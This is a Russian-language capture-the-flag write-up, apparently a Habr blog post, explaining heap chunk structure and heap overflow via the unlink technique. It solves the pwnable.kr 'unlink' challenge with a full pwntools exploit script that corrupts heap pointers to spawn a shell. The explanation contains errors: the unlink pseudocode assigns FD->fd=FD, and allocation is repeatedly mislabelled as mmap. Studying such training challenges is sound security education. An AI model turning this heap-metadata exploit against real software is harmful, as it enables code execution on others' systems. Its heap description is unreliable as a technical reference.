image

В данной статье разберемся с уязвимостью переполнение буфера в куче, а также решим 19-е задание с сайта pwnable.kr.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Как организована куча


Память может быть занятой (аллоцированной) и свободной. На рисунке представлена динамическая память.
  • SSize — размер предыдущего блока памяти, при условии что он свободен.
  • Size — размер данного блока памяти, к которому прибалены 2 бита состояния.
  • Data — польовательские данные.
  • Fd — указатель на следующий свободный блок.
  • Bk — указатель на предыдущий свободный блок.
  • Free — свободная память.

image

Таким образом никакие два свободных блока не могут являться соседями. Плюс ко всему, на границе занятой и свободной системной памяти есть специально обрабатываемый свободный W-блок.

image

Представление блоков в списки (корзины) происходит следующим образом.

image

Для удаления свободного блока из списка применяется метод unlink.
void unlink(S, BK, FD){
BK = S->bk;
FD = S->fd;
FD->bk=BK;
FD->fd=FD;
}

Выделение и освобождение памяти


Разберем как работает mmap. На первом шаге происходит проверка массивов необходимых размеров (к примеру 24 байт). Если есть необходимый блок, то он отделяется с помощью unlink.

image

На втором шаге, если данный блок достаточно большой, то он делится на две части. Первая часть аллоцируется, а вторая перераспределяется в другой массив.

image

На третьем шаге, если не было выделена блока необходимого размера, то проверяется W-блок. Есои он удовлетворяет, то с ним проводятся мероприятия шага два. Если W-блок окаался мал, то для расширения доступной памяти испольуются sbrk() и mmap(). Метод Free полность противоположен mmap.

Переполненик буфера в куче


Переполнение кучи — это тип переполнения буфера, который происходит в области данных кучи. Память в куче динамически распределяется приложением во время выполнения и обычно содержит данные программы. Эксплуатация выполняется путем повреждения этих данных особым образом, чтобы приложение перезаписывало внутренние структуры, такие как указатели на связанный список. Метод канонического переполнения кучи перезаписывает связь динамического выделения памяти (например, метаданные malloc) и использует обмен указателями для перезаписи указателя на программную функцию.

Как пример, в функции Unlink, с помощью FD->bk можно изменить значение произвольного слова в памяти. К примеру, положить шеллкод изменить адрес GOT. Пример переполнения рассмотрим на примере.

Решение задания unlink


Нажимаем на первую иконку с подписью unlink, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Давайте посмотрим исходный код.

image

Так у нас объект B связывается с объектами А и С. Потом происходит ввод и заполнение объекта А. Имея связь объетов А — B — C и контролируя заполнение А, мы можем переполнить кучу и перезаписать объекты В и С. Необходимо найти способ эксплуатации уязвимости. Посмотрим через gdb.

image

Таким образом, можно записать шеллкод и переписать адрес возврата из main на наш шеллкод. Адрес возврата попадает в esр из регистра ecx, куда податает из ebр-4. Дизассемблируя функцию unlink, замечаем, что ebр-4 можно контролировать пользовательким вводом.

image

Разберем, как расположены наши объекты в памяти и как работает функция unlink. Каждый объект занимает в памяти 16 байт (по 4 на указатели и 8 на буффер).

image

Выделение памяти под объекты происходит в строках main+38, main+54 и main+70. Перед каждым вызовом укаатель на стек (esр) увеличивается на 16 и уменьшается на 12, после чего резервируется 16 байт.

image

image

То есть между структурами есть свободные 4 байта.

image

Далее производится линковка и разлинковка объектов.

image

image

Таким образом, нам нужно, чтобы при возврате из функции адрес попадет на место расположения heaр+12, которая передаст управления по адресу, где расположен шеллкод.

image

from pwn import *

s = ssh("unlink", "pwnable.kr", password="guest", port=2222)
ex = s.process("./unlink")

shell_address = p32(0x80484eb)
ans = ex.recv().split("\n")
stack_addr = p32(int(ans[0].split(" ")[5],16) + 16)
heap_addr = p32(int(ans[1].split(" ")[5],16) + 12)

payload = shell_address + "A"*12 + heap_addr + stack_addr
ex.sendline(payload)

ex.interactive()

image

Получаем шелл, читаем флаг, получаем 10 очков.



Вы можете присоединиться к нам в Telegram. В следующий раз разберемся с переполнением кучи.

Комментарии (1)


  1. snamef
    11.08.2019 19:04

    SSize — размер предыдущего блока памяти, при условии что он свободен.
    Size — размер данного блока памяти, к которому прибалены 2 бита состояния.
    Data — польовательские данные.
    Fd — указатель на следующий свободный блок.
    Bk — указатель на предыдущий свободный блок.
    Free — свободная память.

    а зачем эти указатели, если есть только ассоциация массив->блок памяти, надо иметь только указатель на начало блока и размер.